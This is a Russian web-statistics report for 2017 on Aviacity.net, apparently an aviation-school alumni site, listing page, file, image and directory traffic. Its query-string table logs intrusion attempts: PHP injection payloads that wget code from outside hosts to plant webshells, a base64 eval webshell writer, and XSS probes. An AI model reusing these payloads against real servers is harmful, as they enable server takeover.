Отчет для 2017: Ресурсы
Период отчета: 01.01.2017 01:08:35 - 01.01.2018 00:41:46
Отчет создан в Ср Сен 11, 2019 - 18:20:40

Страницы

Обращение к страницам по дням


Наиболее популярные страницы


Наиболее популярные страницы
Страница Хиты Незавершенные запросы Посетители Трафик (КБ)
1 http://Aviacity.net/ 18 924 7 13 500 43 217
2 http://Aviacity.net/Fold4/ 3 963 0 2 284 23 883
3 http://Aviacity.net/Fold0/ 2 003 2 1 863 7 179
4 http://Aviacity.net/Fold14/ 1 868 0 1 821 6 454
5 http://Aviacity.net/index.html 1 609 0 1 497 2 771
6 http://Aviacity.net/Fold0/ index-1.htm 1 067 0 1 040 1 946
7 http://Aviacity.net/Fold5/ 821 0 796 1 612
8 http://Aviacity.net/Fold11/ Nikolaev L N/2016/index-1.htm 727 0 714 593
9 http://Aviacity.net/Fold6/ 737 0 707 2 343
10 http://Aviacity.net/Fold11/ 983 0 695 2 769
11 http://Aviacity.net/Fold3/ 716 0 694 1 198
12 http://Aviacity.net/Fold10/ Fold1/ 598 0 580 2 082
13 http://Aviacity.net/Fold10/ 504 0 495 575
14 http://Aviacity.net/Fold2/ 447 0 435 792
15 http://Aviacity.net/Fold3/ Fakulteti/FAK 2/ 425 2 417 619
16 http://Aviacity.net/Fold1/ index-0.htm 453 0 410 470
17 http://Aviacity.net/Fold13/ 422 0 401 531
18 http://Aviacity.net/Fold4/ Vipuski/16 INGENER/2 FAK/ index-2.htm 521 0 388 420
19 http://Aviacity.net/Fold2/ General/ 538 0 382 1 252
20 http://Aviacity.net/Fold5/ Shuleptsov VA/ 348 0 341 4 314
21 http://Aviacity.net/Fold10/ Fold2/ 334 0 329 375
22 http://Aviacity.net/Fold1/ 333 0 328 2 514
23 http://Aviacity.net/Fold9/ 321 0 309 420
24 http://Aviacity.net/Fold15/ 301 0 293 312
25 http://Aviacity.net/FoldStat/ 288 0 279 203
26 http://Aviacity.net/Fold8/ 277 0 263 321
27 http://Aviacity.net/Fold3/ Kafedra 23/ 255 0 252 181
28 http://Aviacity.net/Fold7/ 258 0 252 204
29 http://Aviacity.net/Fold3/ index-0.htm 238 0 233 183
30 http://Aviacity.net/Fold11/85/ 220 0 214 260
31 http://Aviacity.net/Fold1/ index-1.htm 216 0 208 1 007
32 http://Aviacity.net/Fold3/ Kafedra 21/ 206 0 206 273
33 http://Aviacity.net/Fold3/ Kafedra 41/ 199 0 198 203
34 http://Aviacity.net/Fold13/ Foto/ 200 0 196 124
35 http://Aviacity.net/Fold14/ 2011/ 515 0 193 1 880
36 http://Aviacity.net/Fold3/ Kafedra 22/ 191 0 189 169
37 http://Aviacity.net/Fold0/ Vipuski-1/ 192 0 188 176
38 http://Aviacity.net/Fold10/ Fold4/ 190 0 187 97
39 http://Aviacity.net/Fold3/ Kafedra FIZO/ 187 0 183 180
40 http://Aviacity.net/Fold13/ Parad/ 182 0 180 175
41 http://Aviacity.net/Fold10/ Fold3/ 177 0 177 87
42 http://Aviacity.net/Fold6/ Lesnjak G N/ 178 0 176 164
43 http://Aviacity.net/Fold3/ Kafedra 24/ 177 0 175 176
44 http://Aviacity.net/Fold8/ Dly postupleniy 1972/ 177 0 175 151
45 http://Aviacity.net/Fold13/ Vid iz kazarm/ 175 0 174 120
46 http://Aviacity.net/Fold4/ Vipuski/9 INGENER/1 FAK/ 176 0 174 3 915
47 http://Aviacity.net/Fold3/ Kafedra 2/ 173 0 171 147
48 http://Aviacity.net/Fold13/ Color/ 171 0 170 136
49 http://Aviacity.net/Fold3/ Secret/ 171 0 169 161
50 http://Aviacity.net/Fold3/ NIL/index-1.htm 176 0 168 130
Итого 44 528 11 - 119 490
Всего 121 696 12 - 193 462


 

Файлы

Обращение к файлам по дням


Наиболее скачиваемые файлы


Наиболее скачиваемые файлы
Файл Хиты Незавершенные запросы Посетители Трафик (КБ)
1 http://Aviacity.net/Fold3/ ЗОЛОТЫЕ ЗВЕЗДЫ ВШПАТ.zip 134 5 95 554 770
2 http://Aviacity.net/nicehash_launcher.zip 208 0 87 5 823
3 http://Aviacity.net/Fold3/ Fakulteti/FAK 1/Рукопись о первом.rar 105 1 72 7 506 548
4 http://Aviacity.net/Fold3/ ЗОЛОТЫЕ ЗВЕЗДЫ ВШПАТ.rar 5 0 3 26 972
5 http://www.123cha.com 1 0 1 4
6 http://Aviacity.net/nicehash_starter.zip 1 0 1 27
7 http://Aviacity.net/error_clicker.exe 1 0 1 45
Всего 455 6 - 8 094 192


 

Рисунки

Обращение к рисункам по дням


Наиболее запрашиваемые рисунки


Наиболее запрашиваемые рисунки
Рисунок Хиты Незавершенные запросы Посетители Трафик (КБ)
1 http://Aviacity.net/Foto3.jpg 5 087 13 4 902 360 654
2 http://Aviacity.net/Fold4/ Vipuski/Dvadcat pjtiy/ Elektro/1962.jpg 2 805 66 2 685 482 780
3 http://Aviacity.net/Fold8/ Otpusk/Otpusk-1.jpg 1 457 5 1 307 109 548
4 http://Aviacity.net/Fold4/ Vipuski/Dvadcat pjtiy/ Mechanic/1962-Sm.jpg 1 056 48 987 508 683
5 http://Aviacity.net/Fold6/ Ermakov V/Part 2/Image-24.jpg 929 29 884 158 155
6 http://Aviacity.net/Fold3/ Fakulteti/FAK 2/Upravl.jpg 859 0 836 78 973
7 http://Aviacity.net/Fold2/ General/General-mayor Sherbatih A I.jpg 746 0 728 53 885
8 http://Aviacity.net/Fold10/ Fold1/Bolotov N V.jpg 782 0 721 26 283
9 http://Aviacity.net/Fold5/ Balandin P J/Image-10.jpg 613 6 592 31 529
10 http://Aviacity.net/Fold5/ Popov V S/Izobrazhenie-003.jpg 549 3 536 43 940
11 http://Aviacity.net/Fold8/ Dly postupleniy 1972/ Image-01.jpg 531 3 524 38 649
12 http://Aviacity.net/Fold10/ Fold1/Ermakov V.jpg 532 0 521 22 976
13 http://Aviacity.net/Fold2/ General/General-mayor Goryntsev.jpg 537 7 518 26 482
14 http://Aviacity.net/Fold10/ Fold1/Mantashev Aleksandr Timofeevich.jpg 495 2 488 21 360
15 http://Aviacity.net/Fold10/ Fold1/Polkovnik Nayda N.D. nachal'nik fakul'teta 1.jpg 496 2 486 23 762
16 http://Aviacity.net/Fold10/ Fold1/YuROV.jpg 488 0 483 19 347
17 http://Aviacity.net/Fold10/ Fold1/Ovchinnikov Vladir Valentinovich nach. 33 kaf.jpg 492 0 481 19 270
18 http://Aviacity.net/Fold10/ Fold1/Podpolkovnik Blaginin V.F. kafedra 35.jpg 487 0 481 18 108
19 http://Aviacity.net/Fold10/ Fold1/Nikulin V.A..jpg 489 0 480 20 404
20 http://Aviacity.net/Fold10/ Fold1/Solov'ev Aleksandr Vasil'evich KTN dotsent nach. U O s dekabrya 1986 po iyun' 1993.jpg 489 0 479 18 886
21 http://Aviacity.net/Fold10/ Fold1/Khil'ko L.G. 1979 god.jpg 485 0 479 21 715
22 http://Aviacity.net/Fold10/ Fold1/Kruglov P.P..jpg 489 0 478 30 657
23 http://Aviacity.net/Fold7/ Perm otkritki/Nabor3/ Image-16.jpg 496 7 478 57 725
24 http://Aviacity.net/Fold10/ Fold1/Besschastnyy N.N..jpg 483 0 477 40 932
25 http://Aviacity.net/Fold10/ Fold1/Bondarenko Mikhail Antonovich.jpg 480 1 472 62 223
26 http://Aviacity.net/Fold10/ Fold1/Afanas'ev.jpg 475 0 467 19 316
27 http://Aviacity.net/Fold10/ Fold1/1960 god. Proskurin V.N..jpg 472 0 465 16 893
28 http://Aviacity.net/Fold10/ Fold1/Ostapenko S R.jpg 472 0 465 23 377
29 http://Aviacity.net/Fold10/ Fold1/Makin Vladimir Vital'evich nachal'nik UO.jpg 465 0 460 16 329
30 http://Aviacity.net/Fold10/ Fold1/Perevozchikov V A.jpg 462 0 456 16 968
31 http://Aviacity.net/Fold10/ Fold1/Korobov.jpg 462 2 456 19 746
32 http://Aviacity.net/Fold10/ Fold1/1966 Bokov MM chlen sbornoy uchilishcha po pulevoy strel'be.jpg 460 0 453 20 372
33 http://Aviacity.net/Fold10/ Fold1/Utrobin Gennadiy Fedorovich.jpg 457 0 451 16 651
34 http://Aviacity.net/Fold10/ Fold1/Kirillov Nikolay Petrovich.jpg 452 2 443 18 175
35 http://Aviacity.net/Fold10/ Fold1/Nayda Nikolay Dorofeevich 1962 god.jpg 448 2 442 14 132
36 http://Aviacity.net/Fold10/ Fold1/Matveev V.jpg 444 0 439 19 169
37 http://Aviacity.net/Fold10/ Fold1/Savchuk.jpg 447 1 438 17 574
38 http://Aviacity.net/Fold10/ Fold1/Osherov Ruvim Grigor'evich.jpg 444 0 438 15 998
39 http://Aviacity.net/Fold10/ Fold1/Demin V.A..jpg 445 1 438 20 477
40 http://Aviacity.net/Fold10/ Fold1/Surov no spravedliv.jpg 442 0 436 15 029
41 http://Aviacity.net/Fold10/ Fold1/Veryatin A.U..jpg 435 0 430 34 921
42 http://Aviacity.net/Fold5/ Shakurski L A/PVATU RV vyp.1963g (3 kurs), vzvod elektri kov.jpg 446 12 428 69 105
43 http://Aviacity.net/Fold10/ Fold1/Posokh V.I..jpg 434 0 428 19 118
44 http://Aviacity.net/Fold10/ Fold1/Barabanov Yuriy Viktorovich KTN dotsent nach. UO s marta 1987 po oktyabr' 1982.jpg 427 0 421 15 464
45 http://Aviacity.net/Fold10/ Fold1/Ivchenkov S.L..jpg 426 0 420 12 937
46 http://Aviacity.net/Fold2/ General/General-mayor Statsenko I.D..jpg 422 1 418 16 297
47 http://Aviacity.net/Fold10/ Fold1/Panechev V.jpg 423 0 418 22 414
48 http://Aviacity.net/Fold10/ Fold1/Petrov.jpg 422 2 415 41 736
49 http://Aviacity.net/Fold10/ Fold1/Zinevich Petr Petrovich.jpg 420 0 414 18 527
50 http://Aviacity.net/Fold6/ Lesnjak G N/4.jpg 429 2 413 28 933
Итого 33 483 217 - 2 846 608
Всего 377 030 967 - 35 378 316


 

Другие

Обращение к другим файлам по дням


Популярные другие файлы


Популярные другие файлы
Файл Хиты Незавершенные запросы Посетители Трафик (КБ)
1 http://Aviacity.net/FoldStat/ All/index_files/Menu.js 93 0 92 177
2 http://Aviacity.net/FoldStat/ All/index_files/Tree.js 91 0 91 190
3 http://Aviacity.net/FoldStat/ All/index_files/Report.css 96 0 91 82
4 http://Aviacity.net/FoldStat/ 2016/index_files/Report.css 48 0 48 39
5 http://Aviacity.net/FoldStat/ 2016/index_files/Menu.js 45 0 45 74
6 http://Aviacity.net/FoldStat/ 2016/index_files/Tree.js 45 0 45 86
7 http://Aviacity.net/FoldStat/ 2011/index_files/Report.css 13 0 12 11
8 http://Aviacity.net/FoldStat/ 2011/index_files/Tree.js 13 0 12 27
9 http://Aviacity.net/FoldStat/ 2011/index_files/Menu.js 13 0 12 23
10 http://Aviacity.net/FoldStat/ All/index_files/2017-Menu.js 5 0 5 19
11 http://Aviacity.net/FoldStat/ 2015/index_files/Report.css 4 0 4 3
12 http://Aviacity.net/FoldStat/ 2015/index_files/Menu.js 3 0 3 4
13 http://Aviacity.net/FoldStat/ All/index_files/Last7Days-Menu.js 3 0 3 13
14 http://Aviacity.net/FoldStat/ 2015/index_files/Tree.js 3 0 3 5
15 http://Aviacity.net/FoldStat/ All/index_files/LastDay-Menu.js 2 0 2 11
16 http://Aviacity.net/FoldStat/ All/index_files/Last30Days-Menu.js 2 0 2 7
17 http://Aviacity.net/FoldStat/ 2012/index_files/Tree.js 2 0 2 3
18 http://Aviacity.net/FoldStat/ 2012/index_files/Report.css 2 0 2 1
19 http://Aviacity.net/FoldStat/ 2012/index_files/Menu.js 2 0 2 3
20 http://46.146.233.182:80 2 0 1 4
21 http://115.239.210.27 1 0 1 4
22 http://Aviacity.net/FoldStat/ 2016/index_files/12_2016-Menu.js 1 0 1 1
23 http://Aviacity.net/FoldStat/ 2016/index_files/LastDay-Menu.js 1 0 1 1
24 http://Aviacity.net/FoldStat/ All/index_files/2016-Menu.js 1 0 1 5
Всего 491 0 - 802


 

Каталоги

Обращение к каталогам по дням


Наиболее запрашиваемые каталоги


Наиболее запрашиваемые каталоги
Каталог Хиты Незавершенные запросы Посетители Трафик (КБ)
1 http://Aviacity.net/ 26 609 23 15 851 464 005
2 http://Aviacity.net/Fold4/ Vipuski/Dvadcat pjtiy/ Elektro/ 2 861 66 2 720 482 822
3 http://Aviacity.net/Fold4/ 3 963 0 2 284 23 883
4 http://Aviacity.net/Fold10/ Fold1/ 17 946 15 2 216 817 453
5 http://Aviacity.net/Fold0/ 3 266 2 1 998 9 756
6 http://Aviacity.net/Fold2/ General/ 3 974 10 1 917 205 482
7 http://Aviacity.net/Fold14/ 1 868 0 1 821 6 454
8 http://Aviacity.net/Fold8/ Otpusk/ 1 721 7 1 396 117 867
9 http://Aviacity.net/Fold4/ Vipuski/Dvadcat pjtiy/ Mechanic/ 1 318 49 1 199 544 452
10 http://Aviacity.net/Fold7/ Perm otkritki/Nabor3/ 1 817 14 1 021 164 775
11 http://Aviacity.net/Fold6/ Ermakov V/Part 2/ 3 285 39 977 591 320
12 http://Aviacity.net/Fold3/ Fakulteti/FAK 2/ 6 716 2 965 274 691
13 http://Aviacity.net/Fold3/ 1 093 5 838 583 125
14 http://Aviacity.net/Fold5/ 821 0 796 1 612
15 http://Aviacity.net/Fold5/ Shuleptsov VA/ 4 422 18 779 408 572
16 http://Aviacity.net/Fold11/ Nikolaev L N/2016/ 1 983 0 745 162 032
17 http://Aviacity.net/Fold6/ 737 0 707 2 343
18 http://Aviacity.net/Fold5/ Popov V S/ 1 955 7 695 145 885
19 http://Aviacity.net/Fold11/ 983 0 695 2 769
20 http://Aviacity.net/Fold6/ Lesnjak G N/ 1 650 2 683 92 309
21 http://Aviacity.net/Fold1/ 1 002 0 682 3 992
22 http://Aviacity.net/Fold5/ Balandin P J/ 1 231 6 656 62 040
23 http://Aviacity.net/Fold8/ Dly postupleniy 1972/ 5 287 26 653 401 712
24 http://Aviacity.net/Fold5/ Shakurski L A/ 993 17 624 117 001
25 http://Aviacity.net/Fold13/ Parad/ 1 325 2 551 195 589
26 http://Aviacity.net/Fold10/ 504 0 495 575
27 http://Aviacity.net/Fold5/ Stepapjn/ 835 11 478 56 573
28 http://Aviacity.net/Fold6/ Ostapenko S R/ 909 7 468 80 099
29 http://Aviacity.net/Fold15/ IL-28/ 526 2 457 41 579
30 http://Aviacity.net/Fold4/ Vipuski/16 INGENER/2 FAK/ 1 553 3 457 100 130
31 http://Aviacity.net/Fold5/ Bolotov N V/ 1 221 5 454 162 776
32 http://Aviacity.net/Fold2/ 447 0 435 792
33 http://Aviacity.net/Fold8/ Zachetka/ 1 337 15 426 128 496
34 http://Aviacity.net/Fold4/ Vipuski/27 INGENER/2 FAK/ 1 386 25 409 96 011
35 http://Aviacity.net/Fold5/ Kataev G M/ 1 266 1 408 54 645
36 http://Aviacity.net/Fold13/ 422 0 401 531
37 http://Aviacity.net/Fold5/ Vakushin N I/ 564 5 399 41 020
38 http://Aviacity.net/Fold7/ Perm otkritki/Nabor1/ 921 8 373 56 845
39 http://Aviacity.net/Fold5/ Paderin V E/ 2 038 8 363 176 895
40 http://Aviacity.net/Fold10/ Fold2/ 2 336 0 357 113 344
41 http://Aviacity.net/Fold3/ Kafedra 23/ 3 820 0 351 369 563
42 http://Aviacity.net/Fold15/ 15A18-1/ 838 0 347 37 920
43 http://Aviacity.net/Fold5/ Beltukov V L/ 1 263 16 343 150 572
44 http://Aviacity.net/Fold5/ Spirin A G/ 906 4 342 100 206
45 http://Aviacity.net/Fold5/ Ivachkevitch/ 615 2 322 57 823
46 http://Aviacity.net/Fold3/ Kafedra FIZO/ 955 0 320 42 778
47 http://Aviacity.net/Fold5/ Azanov A/Group/ 1 845 22 318 192 366
48 http://Aviacity.net/Fold7/ Perm otkritki/Nabor2/ 1 380 3 312 63 080
49 http://Aviacity.net/Fold9/ 321 0 309 420
50 http://Aviacity.net/Fold15/ MIG-15/ 634 0 307 47 684
Итого 127 668 447 - 8 054 688
Всего 499 672 985 - 43 666 774


 

Страницы и запросы

Страницы и запросы
Запрос Хиты Незавершенные запросы Посетители Трафик (КБ)
http://Aviacity.net/
1 author=1 5 0 5 18
2 param1=assert&param2=system("wget http://getitsed.net/s.txt -O ".realpath($_SERVER['DOCUMENT_ROOT'])."/caches.php"); 2 0 2 3
3 cmd=copy("http://getitsed.net/s.txt", realpath($_SERVER['DOCUMENT_ROOT'])."/caches.php"); 2 0 2 3
4 cmd=system("wget http://getitsed.net/s.txt -O ".realpath($_SERVER['DOCUMENT_ROOT'])."/caches.php"); 2 0 2 3
5 cnd=system("wget http://getitsed.net/s.txt -O ".realpath($_SERVER['DOCUMENT_ROOT'])."/caches.php"); 2 0 2 3
6 param1=assert&param2=copy("http://getitsed.net/s.txt", realpath($_SERVER['DOCUMENT_ROOT'])."/caches.php"); 2 0 2 3
7 cnd=copy("http://getitsed.net/s.txt", realpath($_SERVER['DOCUMENT_ROOT'])."/caches.php"); 2 0 2 3
8 a=assert&b=copy("http://getitsed.net/s.txt", realpath($_SERVER['DOCUMENT_ROOT'])."/caches.php"); 2 0 2 3
9 redirect:${ 2 0 2 8
10 1=@ini_set("display_errors","0");@set_time_limit(0); @set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/ webconfig.txt.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-'; 2 0 2 8
11 a=assert&b=system("wget http://getitsed.net/s.txt -O ".realpath($_SERVER['DOCUMENT_ROOT'])."/caches.php"); 2 0 2 3
12 param1=assert&param2=copy("http://getitsed.net/s.txt", realpath($_SERVER['DOCUMENT_ROOT'])."/cacher.php"); 1 0 1 1
13 param1=assert&a=assert&param2=copy("http://5.61.42.195/ s.txt",$_SERVER[DOCUMENT_ROOT]."/wclass.php");&cmd= copy("http://5.61.42.195/s.txt",$_SERVER[DOCUMENT_ROOT]. "/wclass.php");&cnd=copy("http://5.61.42.195/s.txt", $_SERVER[DOCUMENT_ROOT]."/wclass.php");&b=copy("http:/ /5.61.42.195/s.txt",$_SERVER[DOCUMENT_ROOT]."/wclass. php");&c=copy("http://5.61.42.195/s.txt",$_SERVER[DOCUMENT_ROOT]."/wclass.php"); 1 0 1 1
14 param1=assert&a=assert&param2=system("wget+http://5. 61.42.195/s.txt+-O+".$_SERVER[DOCUMENT_ROOT]."/wclass. php");&cmd=system("wget+http://5.61.42.195/s.txt+-O+". $_SERVER[DOCUMENT_ROOT]."/wclass.php");&cnd=system("wget+http:/ /5.61.42.195/s.txt+-O+".$_SERVER[DOCUMENT_ROOT]."/wclass. php");&b=system("wget+http://5.61.42.195/s.txt+-O+". $_SERVER[DOCUMENT_ROOT]."/wclass.php");&c=system("wget+http:/ /5.61.42.195/s.txt+-O+".$_SERVER[DOCUMENT_ROOT]."/wclass.php"); 1 0 1 1
15 param1=system&a=system&param2=wget+http://5.61.42.195/ s.txt+-O+wclass.php&cmd=wget+http://5.61.42.195/s.txt+-O+wclass. php&cnd=wget+http://5.61.42.195/s.txt+-O+wclass.php& b=wget+http://5.61.42.195/s.txt+-O+wclass.php&c=wget+http:/ /5.61.42.195/s.txt+-O+wclass.php 1 0 1 1
16 q=user/ 1 0 1 4
17 param1=assert&param2=system("wget http://getitsed.net/s.txt -O ".realpath($_SERVER['DOCUMENT_ROOT'])."/cacher.php"); 1 0 1 1
18 q=login.destroy.session&r=0.01231231230 1 0 1 1
19 cmd=copy("http://getitsed.net/s.txt", realpath($_SERVER['DOCUMENT_ROOT'])."/cacher.php"); 1 0 1 1
20 cmd=system("wget http://getitsed.net/s.txt -O ".realpath($_SERVER['DOCUMENT_ROOT'])."/cacher.php"); 1 0 1 1
21 c=4e5e5d7364f443e28fbf0d3ae744a59a 1 0 1 1
22 a=assert&b=copy("http://getitsed.net/s.txt", realpath($_SERVER['DOCUMENT_ROOT'])."/cacher.php"); 1 0 1 1
23 a=assert&b=system("wget http://getitsed.net/s.txt -O ".realpath($_SERVER['DOCUMENT_ROOT'])."/cacher.php"); 1 0 1 1
24 id=<script>alert(1)</script> 1 0 1 4
25 nx=@@ 1 0 1 4
26 do=register 1 0 1 4
27 cnd=copy("http://getitsed.net/s.txt", realpath($_SERVER['DOCUMENT_ROOT'])."/cacher.php"); 1 0 1 1
28 cnd=system("wget http://getitsed.net/s.txt -O ".realpath($_SERVER['DOCUMENT_ROOT'])."/cacher.php"); 1 0 1 1
http://Aviacity.net/FoldStat/ All/index_files/2017-TOC.htm
1 2017-General_Statistics.htm 5 0 5 4
http://Aviacity.net/FoldStat/ All/index_files/Last7Days-TOC.htm
1 Last7Days-General_Statistics.htm 3 0 3 2
http://Aviacity.net/FoldStat/ All/index_files/LastDay-TOC.htm
1 LastDay-General_Statistics.htm 2 0 2 2
http://Aviacity.net/FoldStat/ All/index_files/Last30Days-TOC.htm
1 Last30Days-General_Statistics.htm 2 0 2 1
http://triennials.com/
1 q=da8ff7aa-f353-4edf-8df4-4b9c22628433 1 0 1 1
http://Aviacity.net/index.html
1 redirect:${ 1 0 1 4
http://Aviacity.net/FoldStat/ All/index_files/TOC.htm
1 Visitors.htm 1 0 1 1
http://Aviacity.net/Fold8/ Dly postupleniy 1972/
1 redirect:${ 1 0 1 3
http://Aviacity.net/Fold3/
1 ?????? ?????? ?????.rar 1 0 1 4
http://Aviacity.net/Fold14/
1 redirect:${ 1 0 1 14
http://Aviacity.net/FoldStat/ All/index_files/2016-TOC.htm
1 2016-General_Statistics.htm 1 0 1 1
http://Aviacity.net/FoldStat/ 2016/index_files/LastDay-TOC.htm
1 LastDay-General_Statistics.htm 2 0 1 1
http://Aviacity.net/FoldStat/ 2016/index_files/12_2016-TOC.htm
1 12_2016-General_Statistics.htm 1 0 1 0


 

Страниц на посетителя

Просмотров страниц на посетителя по дням


Просмотров страниц на посетителя


Просмотров страниц на посетителя
Просмотров страниц на посетителя Посетители
1 0 просмотров страниц 34 967
2 1 просмотр страницы 13 016
3 2 просмотров страниц 3 448
4 3 просмотров страниц 1 778
5 4 просмотров страниц 909
6 5 просмотров страниц 465
7 6 просмотров страниц 353
8 8 просмотров страниц 193
9 7 просмотров страниц 189
10 9 просмотров страниц 141
11 10 просмотров страниц 128
12 11 просмотров страниц 122
13 12 просмотров страниц 112
14 14 просмотров страниц 72
15 13 просмотров страниц 69
16 17 просмотров страниц 67
17 18 просмотров страниц 63
18 15 просмотров страниц 49
19 16 просмотров страниц 49
20 21 просмотров страниц 41
21 20 просмотров страниц 40
22 24 просмотров страниц 39
23 25 просмотров страниц 38
24 19 просмотров страниц 34
25 23 просмотров страниц 31
26 30 просмотров страниц 28
27 26 просмотров страниц 28
28 22 просмотров страниц 27
29 29 просмотров страниц 27
30 28 просмотров страниц 25
31 979 просмотров страниц 25
32 32 просмотров страниц 23
33 27 просмотров страниц 19
34 35 просмотров страниц 15
35 33 просмотров страниц 13
36 100 просмотров страниц 13
37 49 просмотров страниц 12
38 42 просмотров страниц 12
39 31 просмотров страниц 12
40 38 просмотров страниц 10
41 41 просмотров страниц 9
42 34 просмотров страниц 9
43 47 просмотров страниц 8
44 48 просмотров страниц 8
45 39 просмотров страниц 8
46 46 просмотров страниц 8
47 59 просмотров страниц 8
48 60 просмотров страниц 8
49 71 просмотров страниц 7
50 65 просмотров страниц 7
Итого 56 782
Всего 57 050


 

Время просмотра

Страницы по времени просмотра


Страницы по времени просмотра


Страницы по времени просмотра
Страница Хиты Общее время просмотра Среднее время просмотра Посетители
1 http://Aviacity.net/ 19 235 172:33:45 00:32 13 733
2 http://Aviacity.net/Fold4/ Vipuski/16 INGENER/2 FAK/ index-2.htm 521 21:48:25 02:31 388
3 http://Aviacity.net/Fold4/ 3 964 15:27:04 00:14 2 285
4 http://Aviacity.net/Fold14/ 1 869 12:08:23 00:23 1 822
5 http://Aviacity.net/Fold10/ Fold1/ 598 09:04:10 00:55 580
6 http://Aviacity.net/Fold0/ 2 004 08:55:02 00:16 1 864
7 http://Aviacity.net/index.html 1 609 08:52:44 00:20 1 497
8 http://Aviacity.net/Fold5/ 822 07:20:44 00:32 797
9 http://Aviacity.net/Fold6/ 738 06:50:01 00:33 708
10 http://Aviacity.net/Fold3/ Fakulteti/FAK 2/ 425 06:35:02 00:56 417
11 http://Aviacity.net/Fold0/ index-1.htm 1 067 06:04:51 00:21 1 040
12 http://Aviacity.net/Fold5/ Shuleptsov VA/ 348 05:43:51 00:59 341
13 http://Aviacity.net/Fold11/ 984 05:36:56 00:21 696
14 http://Aviacity.net/Fold1/ 333 05:09:05 00:56 328
15 http://Aviacity.net/Fold2/ General/ 538 03:58:46 00:27 382
16 http://Aviacity.net/Fold10/ Fold2/ 334 03:50:58 00:41 329
17 http://Aviacity.net/Fold3/ index-0.htm 238 03:44:53 00:57 233
18 http://Aviacity.net/Fold4/ Vipuski/9 INGENER/1 FAK/ 176 03:39:38 01:15 174
19 http://Aviacity.net/Fold4/ Vipuski/36 INGENER/4 FAK/ 150 03:26:18 01:23 138
20 http://Aviacity.net/Fold3/ Kafedra 23/index-2.htm 171 03:15:52 01:09 168
21 http://Aviacity.net/Fold10/ 505 03:11:24 00:23 496
22 http://Aviacity.net/Fold11/ Nikolaev L N/2016/index-1.htm 727 03:07:42 00:15 714
23 http://Aviacity.net/Fold3/ Fakulteti/FAK 4/ 155 03:03:14 01:11 153
24 http://Aviacity.net/Fold5/ Milchakov AF/ 163 02:55:13 01:04 147
25 http://Aviacity.net/Fold1/ index-1.htm 216 02:53:28 00:48 208
26 http://Aviacity.net/Fold3/ Kafedra 24/index-1.htm 91 02:51:16 01:53 91
27 http://Aviacity.net/Fold2/ 448 02:49:49 00:23 436
28 http://Aviacity.net/Fold3/ 717 02:44:28 00:14 695
29 http://Aviacity.net/Fold0/ Old photo/ 167 02:42:41 00:58 164
30 http://Aviacity.net/Fold1/ History-87/ 159 02:35:02 00:59 156
31 http://Aviacity.net/Fold0/ Podborka ob uchiliche/ 165 02:33:48 00:56 162
32 http://Aviacity.net/Fold14/ 2011/ 515 02:28:26 00:17 193
33 http://Aviacity.net/Fold3/ Kafedra 21/ 206 02:27:37 00:43 206
34 http://Aviacity.net/Fold0/ Prmernie oficeri 1986/ 149 02:17:51 00:56 149
35 http://Aviacity.net/Fold3/ Kafedra 23/index-3.htm 155 02:12:08 00:51 152
36 http://Aviacity.net/Fold0/ Zakaz Djachik 4f/ 139 02:11:13 00:57 138
37 http://Aviacity.net/Fold3/ Fakulteti/FAK 3/Personal/ 92 02:10:54 01:25 92
38 http://Aviacity.net/Fold3/ Kafedra 41/ 199 02:07:17 00:38 198
39 http://Aviacity.net/Fold0/ Kafedra 4/ 118 02:07:16 01:05 118
40 http://Aviacity.net/Fold6/ Panachev V D/ 147 02:04:25 00:51 143
41 http://Aviacity.net/Fold13/ Parad/ 182 02:01:53 00:40 180
42 http://Aviacity.net/Fold0/ Vipuski-1/ 192 02:01:05 00:38 188
43 http://Aviacity.net/Fold9/ Ansambl/30 LET Drujba/ 68 01:58:17 01:44 67
44 http://Aviacity.net/Fold3/ Kafedra FIZO/ 187 01:55:29 00:37 183
45 http://Aviacity.net/Fold3/ Kafedra 24/ 178 01:55:20 00:39 176
46 http://Aviacity.net/Fold6/ Tyrin S F/ 142 01:54:44 00:48 140
47 http://Aviacity.net/Fold3/ Secret/ 171 01:53:54 00:40 169
48 http://Aviacity.net/Fold0/ Iz istorii uchilicha/ index-2.htm 87 01:53:29 01:18 86
49 http://Aviacity.net/Fold3/ Veterani/Group/ 119 01:50:24 00:56 117
